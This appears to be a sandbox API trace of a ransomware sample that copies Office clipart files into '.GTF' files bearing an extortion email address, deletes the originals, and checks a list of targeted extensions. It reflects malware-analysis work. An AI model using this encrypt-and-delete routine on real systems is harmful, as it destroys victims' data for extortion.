	[0078.427] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0078.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0078.427] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.427] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0078.427] GetLastError () returned 0x0
	[0078.427] ReadFile (in: hFile=0x380, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x319e, lpOverlapped=0x0) returned 1
	[0078.429] WriteFile (in: hFile=0x384, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x31a0, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x31a0, lpOverlapped=0x0) returned 1
	[0078.430] ReadFile (in: hFile=0x380, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.431] WriteFile (in: hFile=0x384, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0078.431] SetEndOfFile (hFile=0x384) returned 1
	[0078.431] CloseHandle (hObject=0x384) returned 1
	[0078.432] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.432] SetEndOfFile (hFile=0x380) returned 1
	[0078.433] CloseHandle (hObject=0x380) returned 1
	[0078.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0078.433] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif")) returned 1
	[0078.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68
	[0078.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68
	[0078.434] lstrlenW (lpString=".doc") returned 4
	[0078.434] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0078.434] lstrlenW (lpString=".docx") returned 5
	[0078.434] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0078.434] lstrlenW (lpString=".pdf") returned 4
	[0078.434] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0078.434] lstrlenW (lpString=".xls") returned 4
	[0078.434] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0078.434] lstrlenW (lpString=".xlsx") returned 5
	[0078.434] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0078.434] lstrlenW (lpString=".ppt") returned 4
	[0078.434] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0078.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68
	[0078.434] lstrlenW (lpString=".zip") returned 4
	[0078.434] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0078.434] lstrlenW (lpString=".rar") returned 4
	[0078.434] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0078.434] lstrlenW (lpString=".bz2") returned 4
	[0078.434] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0078.434] lstrlenW (lpString=".7z") returned 3
	[0078.434] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0078.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68
	[0078.434] lstrlenW (lpString=".dbf") returned 4
	[0078.434] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0078.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68
	[0078.434] lstrlenW (lpString=".1cd") returned 4
	[0078.434] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0078.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68
	[0078.434] lstrlenW (lpString=".jpg") returned 4
	[0078.434] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0078.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68
	[0078.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68
	[0078.435] lstrlenW (lpString=".doc") returned 4
	[0078.435] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0078.435] lstrlenW (lpString=".docx") returned 5
	[0078.435] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0078.435] lstrlenW (lpString=".pdf") returned 4
	[0078.435] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0078.435] lstrlenW (lpString=".xls") returned 4
	[0078.435] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0078.435] lstrlenW (lpString=".xlsx") returned 5
	[0078.435] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0078.435] lstrlenW (lpString=".ppt") returned 4
	[0078.435] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0078.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68
	[0078.435] lstrlenW (lpString=".zip") returned 4
	[0078.435] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0078.435] lstrlenW (lpString=".rar") returned 4
	[0078.435] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0078.435] lstrlenW (lpString=".bz2") returned 4
	[0078.435] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0078.435] lstrlenW (lpString=".7z") returned 3
	[0078.435] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0078.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68
	[0078.435] lstrlenW (lpString=".dbf") returned 4
	[0078.435] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0078.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68
	[0078.435] lstrlenW (lpString=".1cd") returned 4
	[0078.435] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0078.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68
	[0078.435] lstrlenW (lpString=".jpg") returned 4
	[0078.435] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0078.435] lstrcmpiW (lpString1=".GIF", lpString2=".GTF") returned -1
	[0078.436] lstrlenW (lpString="AG00120_.GIF") returned 12
	[0078.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0078.436] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=3484) returned 1
	[0078.436] CloseHandle (hObject=0x380) returned 1
	[0078.436] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif")) returned 0x220
	[0078.436] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0078.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0078.436] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.436] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0078.437] GetLastError () returned 0x0
	[0078.437] ReadFile (in: hFile=0x380, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0xd9c, lpOverlapped=0x0) returned 1
	[0078.438] WriteFile (in: hFile=0x384, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xda0, lpOverlapped=0x0) returned 1
	[0078.439] ReadFile (in: hFile=0x380, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.439] WriteFile (in: hFile=0x384, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0078.439] SetEndOfFile (hFile=0x384) returned 1
	[0078.439] CloseHandle (hObject=0x384) returned 1
	[0078.440] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.440] SetEndOfFile (hFile=0x380) returned 1
	[0078.441] CloseHandle (hObject=0x380) returned 1
	[0078.441] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0078.442] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif")) returned 1
	[0078.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68
	[0078.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68
	[0078.442] lstrlenW (lpString=".doc") returned 4
	[0078.442] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0078.442] lstrlenW (lpString=".docx") returned 5
	[0078.442] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0078.442] lstrlenW (lpString=".pdf") returned 4
	[0078.442] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0078.442] lstrlenW (lpString=".xls") returned 4
	[0078.442] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0078.442] lstrlenW (lpString=".xlsx") returned 5
	[0078.442] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0078.442] lstrlenW (lpString=".ppt") returned 4
	[0078.442] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0078.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68
	[0078.442] lstrlenW (lpString=".zip") returned 4
	[0078.443] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0078.443] lstrlenW (lpString=".rar") returned 4
	[0078.443] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0078.443] lstrlenW (lpString=".bz2") returned 4
	[0078.443] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0078.443] lstrlenW (lpString=".7z") returned 3
	[0078.443] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0078.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68
	[0078.443] lstrlenW (lpString=".dbf") returned 4
	[0078.443] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0078.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68
	[0078.443] lstrlenW (lpString=".1cd") returned 4
	[0078.443] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0078.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68
	[0078.443] lstrlenW (lpString=".jpg") returned 4
	[0078.443] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0078.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68
	[0078.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68
	[0078.443] lstrlenW (lpString=".doc") returned 4
	[0078.443] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0078.443] lstrlenW (lpString=".docx") returned 5
	[0078.443] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0078.443] lstrlenW (lpString=".pdf") returned 4
	[0078.443] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0078.443] lstrlenW (lpString=".xls") returned 4
	[0078.443] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0078.443] lstrlenW (lpString=".xlsx") returned 5
	[0078.443] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0078.443] lstrlenW (lpString=".ppt") returned 4
	[0078.443] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0078.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68
	[0078.443] lstrlenW (lpString=".zip") returned 4
	[0078.443] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0078.443] lstrlenW (lpString=".rar") returned 4
	[0078.444] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0078.444] lstrlenW (lpString=".bz2") returned 4
	[0078.444] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0078.444] lstrlenW (lpString=".7z") returned 3
	[0078.444] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0078.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68
	[0078.444] lstrlenW (lpString=".dbf") returned 4
	[0078.444] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0078.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68
	[0078.444] lstrlenW (lpString=".1cd") returned 4
	[0078.444] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0078.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68
	[0078.444] lstrlenW (lpString=".jpg") returned 4
	[0078.444] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0078.444] lstrcmpiW (lpString1=".GIF", lpString2=".GTF") returned -1
	[0078.444] lstrlenW (lpString="AG00126_.GIF") returned 12
	[0078.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0078.444] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=3140) returned 1
	[0078.444] CloseHandle (hObject=0x380) returned 1
	[0078.444] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif")) returned 0x220
	[0078.444] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0078.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0078.445] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.445] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0078.445] GetLastError () returned 0x0
	[0078.445] ReadFile (in: hFile=0x380, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0xc44, lpOverlapped=0x0) returned 1
	[0078.789] WriteFile (in: hFile=0x384, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xc50, lpOverlapped=0x0) returned 1
	[0078.817] ReadFile (in: hFile=0x380, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.818] WriteFile (in: hFile=0x384, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0078.818] SetEndOfFile (hFile=0x384) returned 1
	[0078.818] CloseHandle (hObject=0x384) returned 1
	[0078.819] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.819] SetEndOfFile (hFile=0x380) returned 1
	[0078.820] CloseHandle (hObject=0x380) returned 1
	[0078.820] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0078.820] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif")) returned 1
	[0078.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68
	[0078.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68
	[0078.821] lstrlenW (lpString=".doc") returned 4
	[0078.821] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0078.821] lstrlenW (lpString=".docx") returned 5
	[0078.821] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0078.821] lstrlenW (lpString=".pdf") returned 4
	[0078.821] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0078.821] lstrlenW (lpString=".xls") returned 4
	[0078.821] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0078.821] lstrlenW (lpString=".xlsx") returned 5
	[0078.821] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0078.821] lstrlenW (lpString=".ppt") returned 4
	[0078.821] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0078.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68
	[0078.821] lstrlenW (lpString=".zip") returned 4
	[0078.821] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0078.821] lstrlenW (lpString=".rar") returned 4
	[0078.821] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0078.821] lstrlenW (lpString=".bz2") returned 4
	[0078.821] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0078.821] lstrlenW (lpString=".7z") returned 3
	[0078.821] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0078.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68
	[0078.821] lstrlenW (lpString=".dbf") returned 4
	[0078.821] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0078.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68
	[0078.821] lstrlenW (lpString=".1cd") returned 4
	[0078.821] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0078.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68
	[0078.821] lstrlenW (lpString=".jpg") returned 4
	[0078.821] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0078.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68
	[0078.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68
	[0078.822] lstrlenW (lpString=".doc") returned 4
	[0078.822] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0078.822] lstrlenW (lpString=".docx") returned 5
	[0078.822] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0078.822] lstrlenW (lpString=".pdf") returned 4
	[0078.822] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0078.822] lstrlenW (lpString=".xls") returned 4
	[0078.822] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0078.822] lstrlenW (lpString=".xlsx") returned 5
	[0078.822] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0078.822] lstrlenW (lpString=".ppt") returned 4
	[0078.822] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0078.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68
	[0078.822] lstrlenW (lpString=".zip") returned 4
	[0078.822] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0078.822] lstrlenW (lpString=".rar") returned 4
	[0078.822] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0078.822] lstrlenW (lpString=".bz2") returned 4
	[0078.822] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0078.822] lstrlenW (lpString=".7z") returned 3
	[0078.822] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0078.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68
	[0078.822] lstrlenW (lpString=".dbf") returned 4
	[0078.822] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0078.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68
	[0078.822] lstrlenW (lpString=".1cd") returned 4
	[0078.822] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0078.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68
	[0078.822] lstrlenW (lpString=".jpg") returned 4
	[0078.822] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0078.823] lstrcmpiW (lpString1=".GIF", lpString2=".GTF") returned -1
	[0078.823] lstrlenW (lpString="AG00158_.GIF") returned 12
	[0078.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0078.823] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=5030) returned 1
	[0078.823] CloseHandle (hObject=0x380) returned 1
